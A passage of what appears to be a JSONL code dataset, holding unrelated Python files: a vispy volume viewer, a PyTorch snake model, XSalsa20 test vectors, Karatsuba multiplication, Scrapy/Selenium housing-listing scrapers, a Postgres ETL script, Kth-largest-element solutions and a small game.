data.subsets:\n self.add_subset(subset)\n\n return True\n\n def add_subset(self, subset):\n\n if subset in self._layer_artist_container:\n return\n\n if subset.ndim == 1:\n layer_artist = ScatterLayerArtist(layer=subset, vispy_viewer=self)\n elif subset.ndim == 3:\n layer_artist = VolumeLayerArtist(layer=subset, vispy_viewer=self)\n else:\n return\n\n self._layer_artist_container.append(layer_artist)\n\n def _add_subset(self, message):\n self.add_subset(message.subset)\n\n @classmethod\n def __setgluestate__(cls, rec, context):\n viewer = super(VispyVolumeViewer, cls).__setgluestate__(rec, context)\n return viewer\n\n def _update_appearance_from_settings(self, message):\n super(VispyVolumeViewer, self)._update_appearance_from_settings(message)\n if hasattr(self._vispy_widget, '_multivol'):\n self._vispy_widget._multivol.set_background(settings.BACKGROUND_COLOR)\n","sub_path":"glue_vispy_viewers/volume/volume_viewer.py","file_name":"volume_viewer.py","file_ext":"py","file_size_in_byte":6210,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"287905937","text":"import simulation\nfrom simulation import World\nimport torch\nfrom torch import nn\n\nimport numpy as np\n\nclass CenteredRotated(nn.Module):\n def __init__(self, world_size, device):\n super(CenteredRotated, self).__init__()\n \n\n self.world_size = (int(world_size[0]), int(world_size[1]))\n size = world_size * 2 - 1\n self.conv1 = nn.Conv2d(simulation.num_channels, 8, (5, 5)).to(device)\n size = (size - 4) // 2\n self.conv2 = nn.Conv2d(8, 12, (5, 5)).to(device)\n size = (size - 4)\n self.conv3 = nn.Conv2d(12, 16, (3, 3)).to(device)\n size = (size - 2)\n self.dense = nn.Linear(int(size[0] * size[1] * 16), 1).to(device)\n\n self.pool = nn.MaxPool2d((2, 2))\n\n \n self.actions_cpu = [(0, 1), (-1, 0), (0, -1), (1, 0)]\n self.actions = torch.Tensor(self.actions_cpu).to(device, torch.long)\n\n def evaluate(self, x):\n y = x\n\n y = self.conv1(y)\n y = self.pool(y)\n \n y = self.conv2(y)\n \n y = self.conv3(y)\n\n y = y.view(y.shape[0], -1)\n \n y = self.dense(y)\n\n return y\n\n def forward(self, world: World):\n network_input = torch.zeros((1, self.world_size[0] * 2 - 1, self.world_size[1] * 2 - 1, simulation.num_channels), dtype=torch.int16, device=world.device)\n from_x = (world.size[0] - world.snake_head_x - 1).to(torch.long)\n from_y = (world.size[1] - world.snake_head_y - 1).to(torch.long)\n\n to_x = (from_x + world.size[0]).to(torch.long)\n to_y = (from_y + world.size[1]).to(torch.long)\n \n # print(from_x)\n # print(from_y)\n # print(to_x)\n # print(to_y)\n\n # print(network_input[4:14, 4:14])\n\n network_input[0, from_x:to_x, from_y:to_y] = world.space\n network_input = network_input.to(torch.float)\n\n network_input = network_input.permute(0, 3, 1, 2)\n\n result = torch.zeros((4,), dtype=torch.float, device=world.device)\n \n result[0] = self.evaluate(network_input)\n for i in range(1, 4):\n network_input = torch.rot90(network_input, dims=(2, 3))\n result[i] = self.evaluate(network_input)\n \n # print(result)\n\n possible = torch.zeros((4,), device=world.device, dtype=bool)\n for i in range(4):\n dx, dy = self.actions_cpu[i]\n new_head_x = world.snake_head_x + dx\n new_head_y = world.snake_head_y + dy\n possible[i] = not (\n new_head_x < 0 or new_head_x >= world.size[0] or new_head_y < 0 or new_head_y >= world.size[1] or world.space[new_head_x, new_head_y, simulation.snake_channel] > 0\n )\n \n possible_actions = self.actions[possible]\n possible_result = result[possible]\n\n return possible_actions[torch.argmax(possible_result)]\n\n\n\nif __name__ == \"__main__\":\n device = torch.device(\"cuda:0\")\n # device = torch.device(\"cpu\")\n w = World(10, 10, device)\n\n model = CenteredRotated(w.size, device)\n model.eval()\n \n with torch.no_grad():\n for i in range(1000):\n action = model(w)\n w.step(action[0], action[1])\n # print(w)\n # input()\n","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"181571246","text":"# Copyright 2018 Google Inc.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport paths\n\ndef parse():\n d = {}\n with (paths.top / \"test_vectors\" / \"other\" / \"xsalsa20.txt\").open() as f:\n for l in f:\n l = l.strip()\n if l:\n k, v = l.strip().split(\"=\", 1)\n d[k] = v\n elif d:\n yield d\n d = {}\n yield d\n\ndef test_vectors(x):\n for d in parse():\n bd = {k: bytes.fromhex(d[k]) for k in [\"KEY\", \"IV\", \"PLAINTEXT\", \"CIPHERTEXT\"]}\n x.set_rounds_keylen(20, len(bd[\"KEY\"]))\n yield {\n 'cipher': x.variant,\n 'description': d['COUNT'],\n 'input': {'key': bd[\"KEY\"], 'nonce': bd[\"IV\"]},\n 'plaintext': bd[\"PLAINTEXT\"],\n 'ciphertext': bd[\"CIPHERTEXT\"],\n }\n","sub_path":"python/test_xsalsa20.py","file_name":"test_xsalsa20.py","file_ext":"py","file_size_in_byte":1332,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"433927267","text":"\n# coding: utf-8\n\n# In[22]:\n\n\ndef karatsuba(x,y):\n if x<10 or y<10:\n return x*y\n m=max(len(str(x)),len(str(y)))\n \n if m%2 != 0:\n m-=1\n power=m/2\n \n a,b=divmod(x,10**power)\n c,d=divmod(y,10**power)\n \n ac=karatsuba(a,c)\n bd=karatsuba(b,d)\n midTerm=karatsuba(a+b,c+d)-ac-bd\n \n return ac*10**m+midTerm*10**power+bd\n\n\n# In[23]:\n\n\nx=int(input(\"First number?\"))\ny=int(input(\"Second number?\"))\n\n\n# In[24]:\n\n\nprint(karatsuba(x,y))\n\n","sub_path":"Karatsuba multiplication.py","file_name":"Karatsuba multiplication.py","file_ext":"py","file_size_in_byte":479,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"614253686","text":"# Copyright 2021 Rikai Authors\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nfrom typing import Any, Callable, Dict\n\nfrom torchvision import transforms as T\n\nfrom rikai.contrib.torch.transforms.utils import uri_to_pil\n\n__all__ = [\"pre_processing\", \"post_processing\"]\n\nDEFAULT_MIN_SCORE = 0.5\n\n\ndef pre_processing(options: Dict[str, Any]) -> Callable:\n return T.Compose(\n [\n uri_to_pil,\n T.ToTensor(),\n ]\n )\n\n\ndef post_processing(options: Dict[str, Any]) -> Callable:\n min_score = float(options.get(\"min_score\", DEFAULT_MIN_SCORE))\n\n def post_process_func(batch):\n results = []\n for predicts in batch:\n predict_result = {\n \"boxes\": [],\n \"labels\": [],\n \"scores\": [],\n }\n for box, label, score in zip(\n predicts[\"boxes\"].tolist(),\n predicts[\"labels\"].tolist(),\n predicts[\"scores\"].tolist(),\n ):\n if score < min_score:\n continue\n predict_result[\"boxes\"].append(box)\n predict_result[\"labels\"].append(label)\n predict_result[\"scores\"].append(score)\n\n results.append(predict_result)\n return results\n\n return post_process_func\n\n\nOUTPUT_SCHEMA = (\n \"struct>, scores:array, \"\n \"labels:array>\"\n)\n","sub_path":"python/rikai/contrib/torch/transforms/fasterrcnn_resnet50_fpn.py","file_name":"fasterrcnn_resnet50_fpn.py","file_ext":"py","file_size_in_byte":1932,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"67304597","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Apr 30 20:28:18 2018\n\nSCRAPING HOUSING DATA\n\n@author: User\n\"\"\"\n\n#Changes\n\nimport scrapy #Framework for scraping\nfrom scrapy import Selector\nimport os #For working with files\nimport unicodedata as uc #Unicode to string\nimport time #For pausing code\nimport numpy as np #For working with arrays\nfrom pathlib import Path #For working with system independent paths\nimport datetime as dt #For working with and converting times\nimport math #For some math functions\nimport pandas as pd #For working with dataframes\nfrom random import randint #To set random delays\nfrom time import sleep #For pausing code\nfrom more_itertools import unique_everseen #Ordered uniques\n\n#FOR SELENIUM\n\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.common.action_chains import ActionChains\nfrom pyvirtualdisplay import Display\n\n#FOR SPLASH\n\n#import docker\n#from scrapy_splash import SplashRequest\n \npath = Path(os.path.dirname(os.path.abspath(__file__)))\nos.chdir(str(path))\n\ndef chunks(l, n):\n \"\"\"Yield successive n-sized chunks from l.\"\"\"\n for i in range(0, len(l), n):\n yield l[i:i + n] #list to list of lists\n \ndef check_equal(lst): #checks that all the values are the same in a list.\n return lst[1:] == lst[:-1]\n\ndef parse_price(x): #For Realtor\n x = \"\".join(x)\n return get_ints(x.replace(\"\\n\", \"\").replace(\",\", \"\").replace(\" \", \"\").replace(\"$\", \"\").replace(r\"\\u\", \"\"))\n \ndef parse_address(x): #For Realtor\n output = []\n for i in x:\n j = i.replace(\",\", \"\").replace(\"\\n\", \"\").replace(r\"\\u\", \"\").strip()\n if j != \"\": \n output.append(j)\n if len(output) > 4:\n output[0] = \"\".join([output[0], \" \", output[1]])\n del output[1]\n if len(output) < 4:\n for i in range(0, 4 - len(output)):\n output.append(\"\")\n return output\n\ndef parse_top(x, labels): #For Realtor\n '''\n options:\n beds, baths, sq ft, sqft lot, acres lot, 3 full, 2 half baths\n '''\n chunk_counter = 1\n for i in range(0, len(x)):\n if check_equal(list(chunks(x, chunk_counter))):\n break\n else:\n chunk_counter += 1\n \n beds = \"\"\n baths = \"\"\n half_baths = \"\"\n sq_ft = \"\"\n sqft_lot = \"\"\n acres_lot = \"\"\n \n temp = [i.replace(\"\\n\", \"\").replace(\",\", \"\").replace(r\"\\u\", \"\").strip() for i in x]\n temp = [i for i in temp if i != \"\"]\n temp = temp[:chunk_counter]\n \n labels = [i.replace(\"\\n\", \"\").replace(\",\", \"\").replace(r\"\\u\", \"\").strip() for i in labels]\n labels = [i for i in labels if i != \"\"]\n labels = labels[:chunk_counter]\n \n for i in range(0, len(temp)):\n lab = labels[i]\n if lab == \"beds\":\n beds = temp[i]\n elif lab == \"full\":\n baths = temp[i]\n elif lab == \"baths\":\n baths = temp[i]\n elif lab == \"half baths\":\n half_baths = temp[i]\n elif lab == \"sq ft\":\n sq_ft = temp[i]\n elif lab == \"sqft lot\":\n sqft_lot = temp[i]\n elif lab == \"acres lot\":\n acres_lot = temp[i]\n \n return [beds, baths, half_baths, sq_ft, sqft_lot, acres_lot]\n\ndef parse_bottom(x): #For Realtor\n '''\n status, price/sq_ft,on realtor, type, built, style, description\n '''\n \n status = \"\"\n price_sq_ft = \"\"\n on_realtor = \"\"\n tp = \"\"\n built = \"\"\n \n mx = max([len(i) for i in x])\n \n for i in range(0, len(x)):\n temp = x[i]\n temp = temp.replace(\"\\n\", \"\").replace(\",\", \"\").replace(r\"\\u\", \"\").strip()\n if temp == \"Status\":\n status = x[i+1].replace(\"\\n\", \"\").replace(\",\", \"\").replace(r\"\\u\", \"\").strip()\n elif temp == \"Price/Sq Ft\":\n price_sq_ft = x[i+1].replace(\"\\n\", \"\").replace(\",\", \"\").replace(\"$\",\"\").replace(r\"\\u\", \"\").strip()\n elif temp == \"On realtor.com\":\n on_realtor = x[i+1].replace(\"\\n\", \"\").replace(\",\", \"\").replace(r\"\\u\", \"\").strip()\n elif temp == \"Type\":\n tp = x[i+1].replace(\"\\n\", \"\").replace(\",\", \"\").replace(r\"\\u\", \"\").strip()\n elif temp == \"Built\":\n built = x[i+1].replace(\"\\n\", \"\").replace(\",\", \"\").replace(r\"\\u\", \"\").strip()\n return [status, price_sq_ft, on_realtor, tp, built]\n\ndef flatten(x): #List of lists to list. \n temp = []\n for i in x:\n if isinstance(i, list):\n for j in i:\n temp.append(j)\n else: temp.append(i)\n return temp\n\ndef ucode(x): #Changes Unicode to ASCII.\n if isinstance(x, unicode):\n return uc.normalize('NFKD', x).encode('ascii', 'ignore')\n\ndef list_of_lists(x, n): #Turns a list into a list of lists. \n i=0\n new_list=[]\n while i0:\n price = get_ints(request.xpath(price_xpath).extract()[0])\n elif len(request.xpath(price2_xpath).extract())>0:\n price = get_ints(request.xpath(price2_xpath).extract()[0])\n else:\n price = \"\"\n #Tops\n vals = request.xpath(info_xpath).extract()\n labs = request.xpath(info_labels_xpath).extract()\n top = parse_top(vals, labs)\n if top[1]==\"\" and top[2]==\"\": #For when half baths\n bath_xpath = \"//span[contains(@class, 'data-value property-half-baths')]/text()\"\n if len(request.xpath(bath_xpath).extract())>1:\n top[1] = request.xpath(bath_xpath).extract()[0]\n top[2] = request.xpath(bath_xpath).extract()[1]\n #Address\n if request.xpath(address_xpath).extract() > 0:\n try:\n address = request.xpath(address_xpath).extract()[0].encode('utf-8').strip()\n except:\n address = \"\"\n try:\n city = address.split(\",\")[1]\n except:\n city = \"\"\n try:\n state = address.split(\",\")[2].strip().split(\" \")[0]\n except:\n state = \"\"\n try:\n zip_code = get_ints(address.split(\",\")[2])\n except:\n zip_code = \"\"\n try:\n address = address.split(\",\")[0]\n except:\n address = \"\"\n full_address = [address, city, state, zip_code]\n else:\n full_address = [\"\", \"\", \"\", \"\"]\n #Latitude, Longitude\n lat = request.xpath(lat_xpath).extract()[0]\n lon = request.xpath(lon_xpath).extract()[0]\n #Items\n items = parse_bottom(request.xpath(items_xpath).extract())\n #Style\n if len(request.xpath(style_xpath).extract())>1:\n style = \",\".join(request.xpath(style_xpath).extract())\n elif len(request.xpath(style_xpath).extract())==0:\n style = \"\"\n else:\n style = request.xpath(style_xpath).extract()\n #Description\n if len(request.xpath(desc_xpath).extract())>1:\n desc = \",\".join(request.xpath(desc_xpath).extract())\n elif len(request.xpath(desc_xpath).extract())==1:\n desc = request.xpath(desc_xpath).extract()\n else:\n desc = \"\"\n\n output = [block, dt.datetime.strftime(now, \"%m/%d/%Y\"), url, lat, lon, full_address, price, top, items, style, desc]\n output = flatten(output)\n for i in range(0, len(output)):\n try:\n output[i] = output[i].encode('utf-8').strip()\n except:\n pass\n \n print(output)\n print(len(output))\n print(len(columns))\n df.loc[len(df)] = output\n \n if counter == 5:\n df.to_csv(pd_file_name, index = False)\n counter = 1\n else:\n counter += 1\n \n df.to_csv(pd_file_name, index = False)\n \nclass homefinder(scrapy.Spider):\n \n name = \"homefinder\"\n start_urls = [\n 'https://www.homefinder.com'\n ]\n \n def __init__(self):\n \n #FOR SPLASH\n \n #client = docker.from_env()\n #client.containers.run(\"scrapinghub/splash\", detach = True)\n \n #FOR SELENIUM\n self.driver = webdriver.Firefox()\n \n #self.driver.set_window_size(1920, 1080)\n '''\n perhaps try chrome\n #start Chrome\n options = webdriver.ChromeOptions()\n options.add_argument('headless')\n try:\n self.driver = webdriver.Chrome(chrome_options=options)\n except:\n pass\n '''\n \n def parse(self, response):\n areas = [\"TX/Dallas\"]\n base = \"https://homefinder.com/for-sale/\"\n for j in areas:\n page_counter = 1\n pages = 100\n while page_counter <= pages:\n print(\"-\" * 30)\n print(page_counter)\n print(pages)\n print(\"-\" * 30)\n url = (base+j+(\"?pg=%s\") % str(page_counter))\n self.driver.get(url)\n time.sleep(5)\n \n pages_path = \"/html/body/div[1]/div[2]/div/section/div[2]/div[4]/div/div[1]/div/div[40]/nav/ul/li[6]/a/text()\"\n cards_path = (\"/html/body/div[1]/div[2]/div/section/div[2]/div[4]/div/div[1]/div/div\")\n \n try:\n element = WebDriverWait(self.driver, 120).until(\n EC.presence_of_element_located((By.XPATH, cards_path))\n )\n except:\n self.driver.close()\n \n response = scrapy.Selector(text=self.driver.page_source)\n \n #Get the actual number of pages. \n pages = get_ints(response.xpath(pages_path).extract())\n\n rows = response.xpath(cards_path)\n \n counter = 1 \n for i in rows:\n link = i.xpath(\"a/@href\").extract()\n link.enc\n link = link.encode('utf-8').strip()\n if link[0] == \"/\":\n base_url = \"https://www.realtor.com\"\n link = base_url + link\n now = dt.datetime.now()\n file_name = \"homefinder_urls_\" + str(now.year) + \".\" + str(now.month) + \".\" + str(now.day) + \".txt\"\n with open(file_name, \"a+\") as file:\n file.write(link)\n file.write(\"\\n\")\n print(\"Added: \" + link)\n page_counter += 1\n print(\"finished\")\n\nclass homefinder_data(scrapy.Spider):\n name = \"homefinder_data\"\n start_urls = [\n 'https://www.realtor.com'\n ]\n \n def __init__(self):\n self.driver = webdriver.Firefox()\n \n def parse(self, response):\n \n now = dt.datetime.now()\n #file_name = \"realtor_urls_\" + str(now.year) + \".\" + str(now.month) + \".\" + str(now.day) + \".txt\"\n file_name = \"realtor_urls_2019.3.11.txt\"\n with open(file_name) as f:\n urls = f.readlines()\n # you may also want to remove whitespace characters like `\\n` at the end of each line\n urls = [x.strip().replace(\"\\n\", \"\") for x in urls]\n \n #pd_file_name = \"realtor_data_\" + str(now.year) + \".\" + str(now.month) + \".\" + str(now.day) + \".csv\"\n pd_file_name = \"realtor_data_2019.3.11.csv\"\n \n columns = [\"date_scraped\", \"url\", \"address\", \"city\", \"state\", \"zip\", \"price\", \"beds\", \"baths\", \"half_baths\", \"sq_ft\", \"sqft_lot\", \"acres_lot\", \"status\", \"price_sq_ft\", \"on_realtor\", \"type\", \"built\", \"style\", \"description\"]\n df = pd.DataFrame(columns=columns)\n try:\n df = pd.read_csv(pd_file_name)\n urls = [i for i in urls if i not in df.url.tolist()]\n except:\n pass\n \n counter = 1\n \n for url in urls:\n self.driver.get(url)\n description_wait_xpath = \"//*[@id='ldp-detail-overview']//text()\"\n description_xpath = \"//*[@id='ldp-detail-overview']//text()\"\n\n try:\n element = WebDriverWait(self.driver, 120).until(\n EC.presence_of_element_located((By.XPATH, description_wait_xpath))\n )\n except:\n self.driver.close()\n \n response = scrapy.Selector(text=self.driver.page_source)\n price_xpath = \"/html/body/div[5]/div[4]/div[2]/div[2]/div/section[1]/div[1]/div[2]/div[1]/div/div[1]/div/div//text()\"\n address_xpath = \"/html/body/div[5]/div[4]/div[2]/div[2]/div/section[1]/div[1]/div[2]/div[2]/div/div[2]/div/h1//text()\"\n top_info_xpath = \"/html/body/div[5]/div[4]/div[2]/div[2]/div/section[1]/div[1]/div[2]/div[2]/div/div[1]/ul/li//text()\"\n \n output = [dt.datetime.strftime(now, \"%m/%d/%Y\"), url, parse_address(response.xpath(address_xpath).extract()), parse_price(response.xpath(price_xpath).extract()), parse_top(response.xpath(top_info_xpath).extract()), parse_bottom(response.xpath(description_xpath).extract())]\n output = flatten(output)\n for i in range(0, len(output)):\n try:\n output[i] = output[i].encode('utf-8').strip()\n except:\n pass\n \n print(output)\n print(len(output))\n print(len(columns))\n df.loc[len(df)] = output\n \n if counter == 5:\n df.to_csv(pd_file_name, index = False)\n counter = 1\n else:\n counter += 1\n \n df.to_csv(pd_file_name, index = False) \n \nclass zillow(scrapy.Spider):\n \n name = \"zillow\"\n \n def start_requests(self):\n areas = [\"https://www.zillow.com/homes/for_sale/Denton-County-TX/pmf,pf_pt/988_rid/globalrelevanceex_sort/33.259647,-96.673165,32.889101,-97.16755_rect/10_zm/\",\n \"https://www.zillow.com/homes/for_sale/Dallas-County-TX/pmf,pf_pt/978_rid/globalrelevanceex_sort/33.136976,-96.283494,32.393297,-97.272263_rect/10_zm/\"]\n for i in areas:\n for j in range(1, 21):\n url = i + \"%s_p\" % (str(j))\n yield scrapy.Request(url=url, callback=self.parse)\n \n def parse(self, response):\n print(\"RESPONSE-------\")\n url_xpath = \"//div[contains(@class, 'zsg-photo-card-content zsg-aspect-ratio-content')]/a[contains(@href, 'homedetails')]/@href\"\n request = scrapy.Selector(response)\n print(request.xpath(url_xpath))\n urls = request.xpath(url_xpath).extract()\n now = dt.datetime.now()\n file_name = \"zillow_urls_\" + str(now.year) + \".\" + str(now.month) + \".\" + str(now.day) + \".txt\"\n for link in urls:\n with open(file_name, \"a+\") as file:\n file.write(link)\n file.write(\"\\n\")\n print(\"Added: \" + link)\n \nclass trulia(scrapy.Spider):\n \n name = \"trulia\"\n \n def __init__(self):\n\n #FOR SELENIUM\n \n self.driver = webdriver.Firefox()\n #self.driver.set_window_size(1920, 1080)\n \n #Start Headless Chrome\n '''\n options = webdriver.ChromeOptions()\n options.add_argument('headless')\n \n try:\n self.driver = webdriver.Chrome(chrome_options=options)\n except:\n pass\n '''\n def start_requests(self):\n \n base = \"https://www.trulia.com\"\n areas = [\"/TX/Dallas\"]\n for i in areas:\n yield scrapy.Request(url=base+i, callback = self.parse)\n \n def parse(self, response):\n \n self.driver.get(response.url)\n \n cards_path = '/html/body/section/div[5]/div[1]/div[1]/div[2]/div/div[2]/div[1]/div[1]/ul/li'\n try:\n element = WebDriverWait(self.driver, 120).until(\n EC.presence_of_element_located((By.XPATH, cards_path))\n )\n except:\n self.driver.close()\n \n sleep(randint(0,7))\n \n response = scrapy.Selector(text=self.driver.page_source)\n \n links_xpath = \"//body//a[@class='tileLink']/@href\"\n \n links = response.xpath(links_xpath)\n \n for i in links:\n print(i)\n \n\n \n \n","sub_path":"housing/spiders/housing_spiders.py","file_name":"housing_spiders.py","file_ext":"py","file_size_in_byte":20362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"74912633","text":"import os\nimport glob\nimport psycopg2\nimport pandas as pd\nfrom sql_queries import *\n\n\ndef process_song_file(cur, filepath):\n \"\"\"\n Loads data into song and artist tables\n @parameter cur: cursor\n @parameter filepath: the target file path to load from\n \"\"\"\n\n df = pd.read_json(filepath, lines=True)\n\n song_data = df[['song_id', 'title',\n 'artist_id', 'year', 'duration']].values[0]\n cur.execute(song_table_insert, song_data)\n\n artist_data = df[['artist_id', 'artist_name', 'artist_location',\n 'artist_latitude', 'artist_longitude']].values[0]\n cur.execute(artist_table_insert, artist_data)\n\n\ndef process_log_file(cur, filepath):\n \"\"\"\n Loads data into time, user and songplays tables\n @parameter cur: cursor\n @parameter filepath: the target file path to load from\n \"\"\"\n\n df = pd.read_json(filepath, lines=True)\n\n df = df[df[\"page\"] == \"NextSong\"]\n\n t = df['ts'] = pd.to_datetime(df['ts'], unit='ms')\n\n accessor = t.dt\n time_data = (t, accessor.hour, accessor.day, accessor.week,\n accessor.month, accessor.year, accessor.weekday)\n\n time_df = pd.DataFrame.from_dict({\n \"timestamp\": t,\n \"hour\": accessor.hour,\n \"day\": accessor.day,\n \"week\": accessor.week,\n \"month\": accessor.month,\n \"year\": accessor.year,\n \"weekday\": accessor.weekday\n })\n\n for i, row in time_df.iterrows():\n cur.execute(time_table_insert, list(row))\n\n user_df = df[['userId', 'firstName', 'lastName', 'gender', 'level']]\n\n for i, row in user_df.iterrows():\n cur.execute(user_table_insert, row)\n\n for index, row in df.iterrows():\n\n cur.execute(song_select, (row.song, row.artist, row.length))\n results = cur.fetchone()\n\n if results:\n songid, artistid = results\n else:\n songid, artistid = None, None\n\n start_time = row[\"ts\"]\n user_id = row[\"userId\"]\n level = row[\"level\"]\n song_id = songid\n artist_id = artistid\n session_id = row['sessionId']\n location = row['location']\n user_agent = row['userAgent']\n\n songplay_data = (start_time, user_id, level, song_id, artist_id, session_id,\n location, user_agent)\n cur.execute(songplay_table_insert, songplay_data)\n\n\ndef process_data(cur, conn, filepath, func):\n \"\"\"\n Maps the data to a function\n @parameter cur: cursor\n @parameter conn: database connection\n @parameter filepath: the target file path to load from\n @parameter filepath: func to map the data for\n \"\"\"\n\n all_files = []\n for root, dirs, files in os.walk(filepath):\n files = glob.glob(os.path.join(root, '*.json'))\n for f in files:\n all_files.append(os.path.abspath(f))\n\n num_files = len(all_files)\n print('{} files found in {}'.format(num_files, filepath))\n\n for i, datafile in enumerate(all_files, 1):\n func(cur, datafile)\n conn.commit()\n print('{}/{} files processed.'.format(i, num_files))\n\n\ndef main():\n conn = psycopg2.connect(\n \"host=127.0.0.1 dbname=sparkifydb user=postgres password=postgres\")\n cur = conn.cursor()\n\n process_data(cur, conn, filepath='data/song_data',\n func=process_song_file)\n process_data(cur, conn, filepath='data/log_data',\n func=process_log_file)\n\n conn.close()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"data-modeling-with-postgres/etl.py","file_name":"etl.py","file_ext":"py","file_size_in_byte":3471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"126096112","text":"\"\"\"\n215. Kth Largest Element in an Array\n\nFind the kth largest element in an unsorted array. Note that it is the kth largest element in the sorted order,\nnot the kth distinct element.\n\nExample 1:\n\nInput: [3,2,1,5,6,4] and k = 2\nOutput: 5\nExample 2:\n\nInput: [3,2,3,1,2,4,5,5,6] and k = 4\nOutput: 4\nNote:\nYou may assume k is always valid, 1 ≤ k ≤ array's length.\n\n\n\n\"\"\"\n\n\n\"\"\"\nApproach 2: Quickselect\nThis textbook algorthm has \\mathcal{O}(N)O(N) average time complexity. Like quicksort, it was developed by Tony Hoare, and is also known as Hoare's selection algorithm.\n\nThe approach is basically the same as for quicksort. For simplicity let's notice that kth largest element is the same as N - kth smallest element, hence one could implement kth smallest algorithm for this problem.\n\nFirst one chooses a pivot, and defines its position in a sorted array in a linear time. This could be done with the help of partition algorithm.\n\nTo implement partition one moves along an array, compares each element with a pivot, and moves all elements smaller than pivot to the left of the pivot.\n\nAs an output we have an array where pivot is on its perfect position in the ascending sorted array, all elements on the left of the pivot are smaller than pivot, and all elements on the right of the pivot are larger or equal to pivot.\n\nHence the array is now split into two parts. If that would be a quicksort algorithm, one would proceed recursively to use quicksort for the both parts that would result in \\mathcal{O}(N \\log N)O(NlogN) time complexity. Here there is no need to deal with both parts since now one knows in which part to search for N - kth smallest element, and that reduces average time complexity to \\mathcal{O}(N)O(N).\n\nFinally the overall algorithm is quite straightforward :\n\nChoose a random pivot.\n\nUse a partition algorithm to place the pivot into its perfect position pos in the sorted array, move smaller elements to the left of pivot, and larger or equal ones - to the right.\n\nCompare pos and N - k to choose the side of array to proceed recursively.\n\n\n\"\"\"\n\n\nclass FindKthLargest:\n\n def doit_quicksort(self, nums, k):\n \"\"\"\n :type nums: List[int]\n :type k: int\n :rtype: int\n \"\"\"\n import random\n\n def partition(left, right, pivot_index):\n pivot = nums[pivot_index]\n # 1. move pivot to end\n nums[pivot_index], nums[right] = nums[right], nums[pivot_index]\n\n # 2. move all smaller elements to the left\n store_index = left\n for i in range(left, right):\n if nums[i] < pivot:\n nums[store_index], nums[i] = nums[i], nums[store_index]\n store_index += 1\n\n # 3. move pivot to its final place\n nums[right], nums[store_index] = nums[store_index], nums[right]\n\n return store_index\n\n def select(left, right, k_smallest):\n \"\"\"\n Returns the k-th smallest element of list within left..right\n \"\"\"\n if left == right: # If the list contains only one element,\n return nums[left] # return that element\n\n # select a random pivot_index between\n pivot_index = random.randint(left, right)\n\n # find the pivot position in a sorted list\n pivot_index = partition(left, right, pivot_index)\n\n # the pivot is in its final sorted position\n if k_smallest == pivot_index:\n return nums[k_smallest]\n # go left\n elif k_smallest < pivot_index:\n return select(left, pivot_index - 1, k_smallest)\n # go right\n else:\n return select(pivot_index + 1, right, k_smallest)\n\n # kth largest is (n - k)th smallest\n return select(0, len(nums) - 1, len(nums) - k)\n\n \"\"\"\n A naive solution would be sort the whole array and return the kth to last element\n O(NlogN) time\n \"\"\"\n def doit_sort(self, nums: list, k: int) -> int:\n return sorted(nums)[-k]\n\n \n \"\"\"\n A slightly improved solution is to maintain a min heap of size k, and return the element on top.\n O(NlogK) time\n \"\"\"\n def doit_heap(self, nums: list, k: int) -> int:\n from heapq import heappush, heappop\n\n pq = [] #min heap of size k\n for x in nums:\n heappush(pq, x)\n if len(pq) > k: heappop(pq)\n return pq[0]\n\n def doit_(self, nums: list, k: int) -> int:\n from heapq import nlargest\n return nlargest(k, nums)[-1]\n\n \"\"\"\n quick select (Hoare's selection algo)\n O(N) time\n \"\"\"\n def doit_quickselect(self, nums: list, k: int) -> int:\n from random import randint\n def fn(lo, hi): \n \"\"\"Partition nums[lo:hi+1] into two parts\"\"\"\n p = randint(lo, hi) #random pivot\n nums[lo], nums[p] = nums[p], nums[lo] #relocate to front \n p, lo = lo, lo+1\n while lo <= hi: \n if nums[lo] < nums[p]: lo += 1\n elif nums[hi] > nums[p]: hi -= 1\n else: \n nums[lo], nums[hi] = nums[hi], nums[lo]\n lo += 1\n hi -= 1\n nums[p], nums[hi] = nums[hi], nums[p]\n return hi \n \n lo, hi = 0, len(nums)\n while lo < hi: \n p = fn(lo, hi-1)\n if p + k == len(nums): return nums[p]\n elif p + k > len(nums): hi = p\n else: lo = p + 1","sub_path":"PythonLeetcode/leetcodeM/215_KthLargestElementInAnArray.py","file_name":"215_KthLargestElementInAnArray.py","file_ext":"py","file_size_in_byte":5543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"630055821","text":"# -*- coding:utf-8 -*-\nimport random\n\n\ndef game():\n my_hp = 1000\n enemy_hp = 2000\n my_power = random.randint(100, 200)\n enemy_power = random.randint(1, 100)\n game_round = 0\n while True:\n game_round += 1\n print(\"回合:\" + str(game_round))\n my_hp 